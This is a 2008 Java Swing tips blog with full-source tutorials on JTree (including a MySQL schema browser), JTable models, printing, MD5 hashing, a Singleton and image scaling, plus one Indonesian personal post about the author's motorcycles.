private ImageIcon iconDatabase = new ImageIcon(getClass().getResource("database.png"));
private ImageIcon iconTable = new ImageIcon(getClass().getResource("table.png"));
private ImageIcon iconField = new ImageIcon(getClass().getResource("field.png"));
/** Creates new form JTreeMySQL */
public JTreeMySQL() {
initComponents();
String host = "localhost";
int port = 3306;
String user = "root";
String pass = "";
DefaultMutableTreeNode root = new DefaultMutableTreeNode(user + "@" + host + ":" + port);
try {
Class.forName("com.mysql.jdbc.Driver").newInstance();
} catch (ClassNotFoundException ex) {
ex.printStackTrace();
System.exit(0);
} catch (InstantiationException ex) {
ex.printStackTrace();
System.exit(0);
} catch (IllegalAccessException ex) {
ex.printStackTrace();
System.exit(0);
}
try {
conn = DriverManager.getConnection("jdbc:mysql://" + host + ":" + port + "/mysql", user, pass);
} catch (SQLException ex) {
ex.printStackTrace();
System.exit(0);
}
try {
Statement sDatabase = conn.createStatement();
ResultSet rsDatabase = sDatabase.executeQuery("SHOW DATABASES");
rsDatabase.beforeFirst();
while (rsDatabase.next()) {
DefaultMutableTreeNode nodeDatabase = new DefaultMutableTreeNode(rsDatabase.getString("Database"));
root.add(nodeDatabase);
Statement sTable = conn.createStatement();
ResultSet rsTable = sTable.executeQuery("SHOW TABLES FROM `" + rsDatabase.getString("Database") + "`");
rsTable.beforeFirst();
while (rsTable.next()) {
DefaultMutableTreeNode nodeTable = new DefaultMutableTreeNode(rsTable.getString("Tables_in_" + rsDatabase.getString("Database")));
nodeDatabase.add(nodeTable);
Statement sField = conn.createStatement();
ResultSet rsField = sField.executeQuery("SHOW FIELDS FROM `" + rsDatabase.getString("Database") + "`.`" + rsTable.getString("Tables_in_" + rsDatabase.getString("Database")) + "`");
rsField.beforeFirst();
while (rsField.next()) {
DefaultMutableTreeNode nodeField = new DefaultMutableTreeNode(rsField.getString("Field") + " - " + rsField.getString("Type"));
nodeTable.add(nodeField);
}
}
}
} catch (SQLException ex) {
ex.printStackTrace();
System.exit(0);
}
tree.setModel(new DefaultTreeModel(root));
tree.setCellRenderer(new TreeCellRenderer() {
@Override
public Component getTreeCellRendererComponent(JTree tree, Object value, boolean selected, boolean expanded, boolean leaf, int row, boolean hasFocus) {
JLabel label = new JLabel(value.toString());
if (tree.getPathForRow(row).getPathCount() == 2) {
label.setIcon(iconDatabase);
} else if (tree.getPathForRow(row).getPathCount() == 3) {
label.setIcon(iconTable);
} else if (tree.getPathForRow(row).getPathCount() == 4) {
label.setIcon(iconField);
}
if (selected) {
label.setOpaque(true);
label.setBackground(tree.getBackground().darker());
}
if (hasFocus) {
label.setBorder(BorderFactory.createLineBorder(Color.RED));
}
return label;
}
});
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
////GEN-BEGIN:initComponents //GEN-END:initComponents
private void initComponents() {
scroller = new javax.swing.JScrollPane();
tree = new javax.swing.JTree();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setTitle("JTree & MySQL");
scroller.setName("scroller"); // NOI18N
tree.setName("tree"); // NOI18N
scroller.setViewportView(tree);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 398, Short.MAX_VALUE)
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 287, Short.MAX_VALUE)
.addContainerGap())
);
pack();
}//
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new JTreeMySQL().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
public javax.swing.JScrollPane scroller;
public javax.swing.JTree tree;
// End of variables declaration//GEN-END:variables
}
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Using JTable with AbstractTableModel
1. Create a new project or open your exam project
2. Create a JFrame class, named as you like and drag, drop and design JTable like this:

below in inspector:

3. The data (model) is saving in Vector<String[]>, now create variable Vector<String[]> data in class:
private Vector<String[]> data = new Vector();4. After:
initComponents();write this code to create and asign model to JTable :
table.setModel(new AbstractTableModel() {
String[] colum = new String[]{"No", "Name", "Address"};
@Override
public int getRowCount() {
return data.size();
}
@Override
public int getColumnCount() {
return colum.length;
}
@Override
public Object getValueAt(int rowIndex, int columnIndex) {
return columnIndex == 0 ? "" + (rowIndex + 1) : data.get(rowIndex)[columnIndex];
}
@Override
public String getColumnName(int column) {
return colum[column];
}
});the table model contain variable String[] using as column name, and at least we must override 3 method:public int getRowCount();and in this case we override method:
public int getColumnCount();
public Object getValueAt(int rowIndex, int columnIndex);
public String getColumnName(int column);to show column name on table header.
5. After creating a model now we assign the data, write this code:
data.add(new String[]{"", "Sri Kuntadi", "Purwodadi"});
data.add(new String[]{"", "Fajar Ichwanul Arifin", "Cilacap"});
data.add(new String[]{"", "Arif Nurcahyo", "Magetan"});
data.add(new String[]{"", "Muh Adly Hamid", "Makasar"});6. OK now we can try running the project, and we get like this:
Conclusion:
Simple way to create table using JTabel is using AbstractTableModel as model, dont forget to call JTable.updateUI(); to redraw JTable immediatly after modifying data.
Complete Source Code:
/*
* JTableAbstractTableModel.java
*
* Created on 16 Juli 2008, 23:53
*/
package org.kazao.tips.tip008;
import java.util.Vector;
import javax.swing.table.AbstractTableModel;
/**
*
* @author Mr. Kazao
*/
public class JTableAbstractTableModel extends javax.swing.JFrame {
private Vectordata = new Vector ();
/** Creates new form JTableAbstractTableModel */
public JTableAbstractTableModel() {
initComponents();
table.setModel(new AbstractTableModel() {
String[] colum = new String[]{"No", "Name", "Address"};
@Override
public int getRowCount() {
return data.size();
}
@Override
public int getColumnCount() {
return colum.length;
}
@Override
public Object getValueAt(int rowIndex, int columnIndex) {
return columnIndex == 0 ? "" + (rowIndex + 1) : data.get(rowIndex)[columnIndex];
}
@Override
public String getColumnName(int column) {
return colum[column];
}
});
data.add(new String[]{"", "Sri Kuntadi", "Purwodadi"});
data.add(new String[]{"", "Fajar Ichwanul Arifin", "Cilacap"});
data.add(new String[]{"", "Arif Nurcahyo", "Magetan"});
data.add(new String[]{"", "Muh Adly Hamid", "Makasar"});
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
////GEN-BEGIN:initComponents //GEN-END:initComponents
private void initComponents() {
scroller = new javax.swing.JScrollPane();
table = new javax.swing.JTable();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setTitle("JTable using AbstractTableModel");
scroller.setName("scroller"); // NOI18N
table.setName("table"); // NOI18N
scroller.setViewportView(table);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 394, Short.MAX_VALUE)
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 283, Short.MAX_VALUE)
.addContainerGap())
);
pack();
}//
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new JTableAbstractTableModel().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
public javax.swing.JScrollPane scroller;
public javax.swing.JTable table;
// End of variables declaration//GEN-END:variables
}
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Asigning Icon On JTree
tree.setModel(new DefaultTreeModel(root));write this code:
tree.setCellRenderer(new TreeCellRenderer() {
private Icon iconFolder = new ImageIcon(getClass().getResource("folder.png"));
private Icon iconFolderOpen = new ImageIcon(getClass().getResource("folder-open.png"));
private Icon iconFile = new ImageIcon(getClass().getResource("file.png"));
public Component getTreeCellRendererComponent(JTree tree, Object value, boolean selected, boolean expanded, boolean leaf, int row, boolean hasFocus) {
JLabel label = new JLabel(value.toString());
if (getFile(tree.getPathForRow(row)).isDirectory()) {
if (expanded) {
label.setIcon(iconFolderOpen);
} else {
label.setIcon(iconFolder);
}
} else {
label.setIcon(iconFile);
}
if (selected) {
label.setOpaque(true);
label.setBackground(tree.getBackground().darker());
}
return label;
}
private File getFile(TreePath path) {
StringBuffer fName = new StringBuffer();
for (Object s : path.getPath()) {
fName.append(s + "/");
}
return new File(fName.toString().substring(0, fName.toString().length() - 1));
}
});now please run the project and see diferent like this:Conclusion:
We can customizing JTree cell renderer using TreeCellRenderer and returning JLabel as a Component to render icon.Complete Source Code:
/*
* JTreeFolder.java
*
* Created on 16 Juli 2008, 22:07
*/
package org.kazao.tips.tip007;
import java.awt.Component;
import java.io.File;
import javax.swing.Icon;
import javax.swing.ImageIcon;
import javax.swing.JLabel;
import javax.swing.JTree;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.DefaultTreeModel;
import javax.swing.tree.TreeCellRenderer;
import javax.swing.tree.TreePath;
/**
*
* @author Mr. Kazao
*/
public class JTreeFolderIcon extends javax.swing.JFrame {
/** Creates new form JTreeFolder */
public JTreeFolderIcon() {
initComponents();
File dir = new File("C:/windows");
DefaultMutableTreeNode root = new DefaultMutableTreeNode(dir);
scan(dir, root);
tree.setModel(new DefaultTreeModel(root));
tree.setCellRenderer(new TreeCellRenderer() {
private Icon iconFolder = new ImageIcon(getClass().getResource("folder.png"));
private Icon iconFolderOpen = new ImageIcon(getClass().getResource("folder-open.png"));
private Icon iconFile = new ImageIcon(getClass().getResource("file.png"));
public Component getTreeCellRendererComponent(JTree tree, Object value, boolean selected, boolean expanded, boolean leaf, int row, boolean hasFocus) {
JLabel label = new JLabel(value.toString());
if (getFile(tree.getPathForRow(row)).isDirectory()) {
if (expanded) {
label.setIcon(iconFolderOpen);
} else {
label.setIcon(iconFolder);
}
} else {
label.setIcon(iconFile);
}
if (selected) {
label.setOpaque(true);
label.setBackground(tree.getBackground().darker());
}
return label;
}
private File getFile(TreePath path) {
StringBuffer fName = new StringBuffer();
for (Object s : path.getPath()) {
fName.append(s + "/");
}
return new File(fName.toString().substring(0, fName.toString().length() - 1));
}
});
}
private void scan(File file, DefaultMutableTreeNode root) {
for (File f : file.listFiles()) {
DefaultMutableTreeNode node = new DefaultMutableTreeNode(f.getName());
root.add(node);
if (f.isDirectory()) {
scan(f, node);
}
}
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
////GEN-BEGIN:initComponents //GEN-END:initComponents
private void initComponents() {
scroller = new javax.swing.JScrollPane();
tree = new javax.swing.JTree();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setTitle("Using JTree to scaning folder w/ custom icon");
scroller.setName("scroller"); // NOI18N
tree.setName("tree"); // NOI18N
scroller.setViewportView(tree);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 380, Short.MAX_VALUE)
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 278, Short.MAX_VALUE)
.addContainerGap())
);
pack();
}//
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new JTreeFolderIcon().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
public javax.swing.JScrollPane scroller;
public javax.swing.JTree tree;
// End of variables declaration//GEN-END:variables
}
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Printing AWT Component Without Print Dialog
try {
text.print();
} catch (PrinterException ex) {
}replace with:PrinterJob printJob = PrinterJob.getPrinterJob();now awt component will print without showing print dialog.
class Job implements Printable {
@Override
public int print(Graphics graphics, PageFormat pageFormat, int pageIndex) throws PrinterException {
if (pageIndex >= 1) {
return Printable.NO_SUCH_PAGE;
}
Graphics2D g2 = (Graphics2D) graphics;
g2.translate(pageFormat.getImageableX(), pageFormat.getImageableY());
text.paint(graphics);
return Printable.PAGE_EXISTS;
}
}
printJob.setPrintable(new Job());
try {
printJob.print();
} catch (Exception ex) {
}
Conclusion:
We can directly print Printable using PrinterJob.print();
Complete Source Code:
/*
* PrintingTextOnJTextArea.java
*
* Created on 17 Juli 2008, 14:07
*/
package org.kazao.tips.tip019;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.print.PageFormat;
import java.awt.print.Printable;
import java.awt.print.PrinterException;
import java.awt.print.PrinterJob;
/**
*
* @author Vanya Terra Ardani
*/
public class PrintingTextOnJTextAreaWithoutPrintDialog extends javax.swing.JFrame {
/** Creates new form PrintingTextOnJTextArea */
public PrintingTextOnJTextAreaWithoutPrintDialog() {
initComponents();
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
////GEN-BEGIN:initComponents //GEN-END:initComponents
private void initComponents() {
scroller = new javax.swing.JScrollPane();
text = new javax.swing.JTextArea();
buttonPrint = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setTitle("Printing JTextArea componen");
scroller.setName("scroller"); // NOI18N
text.setFont(new java.awt.Font("Courier New", 0, 13));
text.setText("Item Qty Price Sub Total\n==================================================\nShampo Sunsilk 100ml 10 10.500,00 105.000,00\nHead&Shoulder 150ml 5 12.750,00 63.750,00\nRinso Warna 2kg 1 18.200,00 18.200,00\nCoca-cola Zero 1500 10 6.700,00 67.000,00\n==================================================\nTotal: 253.950,00");
text.setName("text"); // NOI18N
scroller.setViewportView(text);
buttonPrint.setText("Print");
buttonPrint.setName("buttonPrint"); // NOI18N
buttonPrint.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonPrintActionPerformed(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 408, Short.MAX_VALUE)
.addComponent(buttonPrint))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 276, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(buttonPrint)
.addContainerGap())
);
pack();
}//
private void buttonPrintActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buttonPrintActionPerformed
PrinterJob printJob = PrinterJob.getPrinterJob();
class Job implements Printable {
@Override
public int print(Graphics graphics, PageFormat pageFormat, int pageIndex) throws PrinterException {
if (pageIndex >= 1) {
return Printable.NO_SUCH_PAGE;
}
Graphics2D g2 = (Graphics2D) graphics;
g2.translate(pageFormat.getImageableX(), pageFormat.getImageableY());
text.paint(graphics);
return Printable.PAGE_EXISTS;
}
}
printJob.setPrintable(new Job());
try {
printJob.print();
} catch (Exception ex) {
ex.printStackTrace();
}
}//GEN-LAST:event_buttonPrintActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new PrintingTextOnJTextAreaWithoutPrintDialog().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
public javax.swing.JButton buttonPrint;
public javax.swing.JScrollPane scroller;
public javax.swing.JTextArea text;
// End of variables declaration//GEN-END:variables
}
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Friday, July 18, 2008
Tungganganku
1. Yamaha L2 Super, sekarang mungkin motor jenis ini sangat susah untuk mencarinya, bahkan mbah google saja hanya menemukan 1 website: http://www.motorplus-online.com malah diperingati "Peringatan- mengunjungi web site ini mungkin berbahaya bagi komputer Anda!" akhirnya ya cuma dapat gambar jelek kayak gini. Yamaha L2 Super ini merupakan motor buat latihan dulu, pertama kali belajar naik motor tahun 1990an kelas 4 SD sekitar umur 10 tahun gitu deh, sebelum motor dinaiki, motor distandarin kemudian diengkol dari samping, kalau sudah hidup nyari pagar atau tanah yang ada "jonggalannya" buat naik (maklum kakinya belum sampe) terus naik, masukin gigi, mak wuss.... Motor ini menemaniku saat pulang sekolah aja, soalnya kalau pagi dipake oleh kakakku.
2. Honda Astrea Grand, motor ini hadiah undian Simpedes BRI tahun 1991 ini merupakan astrea grand model pertama. Motor ini menemaniku sekolah SMP, awalnya waktu masih kelas 1 cuma beberapa kali aja make motor ini kesekolah, maklum masih kecil dan belum boleh sama ortu. Setelah menginjak kelas 2 dan kelas 3 smp motor ini selalu setia menemaniku. Hm... kenangan lama teringat kembali... :-D.
3. Honda GL Max, motor cowok yang cukup macho "pada jamannya" yang merupakan adik dari Honda GL Pro. Motor ini menemani dengan setia menemani berangkat, pulang sekolah SMU dari kelas 1 sampai kelas 3 dan juga ikutan aku kalau sedang bolos sama teman-teman. Dulu kalau bolos sekolah sih paling main ketempat temen, nyari buah atau bahkan minta makan gratis. Jadi teringat teman lama, Dery, Fery, Hadi, Kuntoyo, dimanakah sekarang kalian berada, apakah masih di Rimbo Bujang? yah mudah-mudahan suatu saat nanti kita bisa bertemu lagi, amin.
4. Honda Tiger 2000, Ini adalah motor paling lama yang menemaniku bahkan hingga saat ini, kira-kira sudah hampir 10tahun. Motor ini mulai menemaniku sejak semester 2 kuliah di Jurusan Teknik Informatika Universitas Islam Indonesia awal-awal sekolah sih jalan kaki, maklum kost-kostanku deket dengan kampus sekitar 1.5km 15 menit dengan jalan kaki, biasanya sampai dijalan kampus nebeng sama temen, jadi inget dulu yang sering memberi tumpangan erwin dan wowok, oh iya buat temen-temen satu angkatan jangan lupa join di milis kita tercinta ini . Tiger 2000 memang motor yang macho terbukti banyak yang menggunakan dan sekarang sudah pada generasi yang ke 5. Motor Tiger 2000 generasi pertama ini masih sangat layak berjalan di aspal, sekitar 1 tahun lalu aku service besar-besaran, ganti tank, tambah aki dan cat body. Sekarang motor ini sangat nyaman digunakan untuk menghidupkan cukup dengan electric starter gak perlu engkol, hujan sudah tidak mogok lagi :-). Ada rencana maksimal tahun 2010 motor ini akan aku regenerasi biar gak terlalu uzur.
5. Honda Vario, rencanya tahun ini mau beli motor ini, beliin istri tercinta. Mudah-mudahan terrealisasi.+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Thursday, July 17, 2008
Printing JTextArea component
1. Create a new project or open your exam project
2. Create new JFrame form and design like this:

in inspector:

3. Go to buttonPrint, create event actionPerformed and write this code:
try {
text.print();
} catch (PrinterException ex) {
}4. Run project and you will get like this:
5. Try click button "Print" you will get print dialog like this:

6. Select printer and click button "Print", did you succesfully print content of JTextArea? I did it.
Conclusion:
By default all swing component can be print, some swing component can be directly print with call:
Component.print();method, and other must implement Printable before printing.
Complete Source Code:
/*
* PrintingTextOnJTextArea.java
*
* Created on 17 Juli 2008, 14:07
*/
package org.kazao.tips.tip011;
import java.awt.print.PrinterException;
/**
*
* @author Mr. Kazao
*/
public class PrintingTextOnJTextArea extends javax.swing.JFrame {
/** Creates new form PrintingTextOnJTextArea */
public PrintingTextOnJTextArea() {
initComponents();
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
////GEN-BEGIN:initComponents //GEN-END:initComponents
private void initComponents() {
scroller = new javax.swing.JScrollPane();
text = new javax.swing.JTextArea();
buttonPrint = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setTitle("Printing JTextArea componen");
scroller.setName("scroller"); // NOI18N
text.setFont(new java.awt.Font("Courier New", 0, 13)); // NOI18N
text.setText("Item Qty Price Sub Total\n==================================================\nShampo Sunsilk 100ml 10 10.500,00 105.000,00\nHead&Shoulder 150ml 5 12.750,00 63.750,00\nRinso Warna 2kg 1 18.200,00 18.200,00\nCoca-cola Zero 1500 10 6.700,00 67.000,00\n==================================================\nTotal: 253.950,00");
text.setName("text"); // NOI18N
scroller.setViewportView(text);
buttonPrint.setText("Print");
buttonPrint.setName("buttonPrint"); // NOI18N
buttonPrint.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
buttonPrintActionPerformed(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 408, Short.MAX_VALUE)
.addComponent(buttonPrint))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 276, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(buttonPrint)
.addContainerGap())
);
pack();
}//
private void buttonPrintActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_buttonPrintActionPerformed
try {
text.print();//GEN-LAST:event_buttonPrintActionPerformed
} catch (PrinterException ex) {
}
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new
Runnable() {
public void run() {
new PrintingTextOnJTextArea().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
public javax.swing.JButton buttonPrint;
public javax.swing.JScrollPane scroller;
public javax.swing.JTextArea text;
// End of variables declaration//GEN-END:variables
}
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Using JTree
1. Create a new project or open your exam project
2. Create a new JFrame class, in this case i called JTreeFolder
3. Drag, Drop and design form like this:

and this in Inspector:

4. Open "Source" tab and goto constructor:
public JTreeFolder() {
initComponents();
}under:initComponents();write this code:
File dir = new File("C:/windows");
DefaultMutableTreeNode root = new DefaultMutableTreeNode(dir);
scan(dir, root);
tree.setModel(new DefaultTreeModel(root));5. We need to create one method to scan folder, this method is run recursively:private void scan(File file, DefaultMutableTreeNode root) {
for (File f : file.listFiles()) {
DefaultMutableTreeNode node = new DefaultMutableTreeNode(f.getName());
root.add(node);
if (f.isDirectory()) {
scan(f, node);
}
}
}6. Finally run the project and we get this:
Conclusion:
To representation node in JTree simple way is using DefaultMutableTreeNode.
Complete Sourcecode:
/*
* JTreeFolder.java
*
* Created on 16 Juli 2008, 22:07
*/
package org.kazao.tips.tip006;
import java.io.File;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.DefaultTreeModel;
/**
*
* @author Mr. Kazao
*/
public class JTreeFolder extends javax.swing.JFrame {
/** Creates new form JTreeFolder */
public JTreeFolder() {
initComponents();
File dir = new File("C:/windows");
DefaultMutableTreeNode root = new DefaultMutableTreeNode(dir);
scan(dir, root);
tree.setModel(new DefaultTreeModel(root));
}
private void scan(File file, DefaultMutableTreeNode root) {
for (File f : file.listFiles()) {
DefaultMutableTreeNode node = new DefaultMutableTreeNode(f.getName());
root.add(node);
if (f.isDirectory()) {
scan(f, node);
}
}
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
////GEN-BEGIN:initComponents //GEN-END:initComponents
private void initComponents() {
scroller = new javax.swing.JScrollPane();
tree = new javax.swing.JTree();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setTitle("Using JTree to scaning folder");
scroller.setName("scroller"); // NOI18N
tree.setName("tree"); // NOI18N
scroller.setViewportView(tree);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 380, Short.MAX_VALUE)
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(scroller, javax.swing.GroupLayout.DEFAULT_SIZE, 278, Short.MAX_VALUE)
.addContainerGap())
);
pack();
}//
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new JTreeFolder().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
public javax.swing.JScrollPane scroller;
public javax.swing.JTree tree;
// End of variables declaration//GEN-END:variables
}
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Java MD5
1. Create MD5 class:
public class MD5 {
}2. Create method:public static String hash(String plain) {
return hash(plain.getBytes());
}andpublic static String hash(byte[] plain) {
String hash = "";
try {
hash = hex(MessageDigest.getInstance("md5").digest(plain));
} catch (NoSuchAlgorithmException ex) {
}
return hash;
}3. Return of digest is in byte, off course we need a method to convert byte to String, now create method:public static String hex(byte[] data) {
StringBuffer buffer = new StringBuffer();
for (int i = 0; i < data.length; i++) {
buffer.append(Integer.toHexString(0xff & data[i]).length() < 2 ? "0" + Integer.toHexString(0xff & data[i]) : Integer.toHexString(0xff & data[i]));
}
return buffer.toString();
}4. Finnaly we just finnish our MD5 class, To use it is very simple like this:String plain = "1";and we get this result:
System.out.println("MD5(" + plain + ") = " + MD5.hash(plain));
MD5(1) = c4ca4238a0b923820dcc509a6f75849bHere is the complete code
public class MD5 {
public static String hash(String plain) {
return hash(plain.getBytes());
}
public static String hash(byte[] plain) {
String hash = "";
try {
hash = hex(MessageDigest.getInstance("md5").digest(plain));
} catch (NoSuchAlgorithmException ex) {
}
return hash;
}
public static String hex(byte[] data) {
StringBuffer buffer = new StringBuffer();
for (int i = 0; i < data.length; i++) {
buffer.append(Integer.toHexString(0xff & data[i]).length() < 2 ? "0" + Integer.toHexString(0xff & data[i]) : Integer.toHexString(0xff & data[i]));
}
return buffer.toString();
}
}Conclusion:MD5 implementation in Java is easy, creating static method is easiest way to access a method from class without declaring class.
Complete Source:
1. MD5.java
/*2. HashMD5.java
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package org.kazao.tips.tip005;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
/**
*
* @author Vanya Terra Ardani
*/
public class MD5 {
public static String hash(String plain) {
return hash(plain.getBytes());
}
public static String hash(byte[] plain) {
String hash = "";
try {
hash = hex(MessageDigest.getInstance("md5").digest(plain));
} catch (NoSuchAlgorithmException ex) {
}
return hash;
}
public static String hex(byte[] data) {
StringBuffer buffer = new StringBuffer();
for (int i = 0; i < data.length; i++) {
buffer.append(Integer.toHexString(0xff & data[i]).length() < 2 ? "0" + Integer.toHexString(0xff & data[i]) : Integer.toHexString(0xff & data[i]));
}
return buffer.toString();
}
}
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package org.kazao.tips.tip005;
/**
*
* @author Mr. Kazao
*/
public class HashMD5 {
public HashMD5() {
String plain = "1";
System.out.println("MD5(" + plain + ") = " + MD5.hash(plain));
}
public static void main(String... args) {
new HashMD5();
}
}
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Singleton
public abstract class Singleton {
private static Singleton instance;
public static Singleton getInstance() {
if (instance == null) {
class SingletonI extends Singleton {
}
instance = new SingletonI();
}
return instance;
}
}Class must be an abstract to make sure class can not be instantly, then we can create one method to get instance of this class.Conclusion:
Use Singleton patern to saving memory usage on your application.
+++Read More+++Summary only+++View Complete Source +++Hide Complete Source+++
Resizing Image
, now i will show you howto to stretch image on background of JPanel, lets do it...
1. In previous post we have this code:
public void paint(Graphics g, JComponent c) {
g.drawImage(background.getImage(), 0, 0, null);
}2. Now modify code until like this:public void paint(Graphics g, JComponent c) {
int width = c.getWidth();
int height = c.getHeight();
float rasio_x = (float) width / background.getIconWidth();
float rasio_y = (float) height / background.getIconHeight();
BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);
Graphics2D g2 = image.createGraphics();
AffineTransform at = AffineTransform.getScaleInstance(rasio_x, rasio_y);
g2.drawImage(background.getImage(), at, null);
g2.dispose();
g.drawImage(image, 0, 0, null);
}3. Run the project and we get like this:
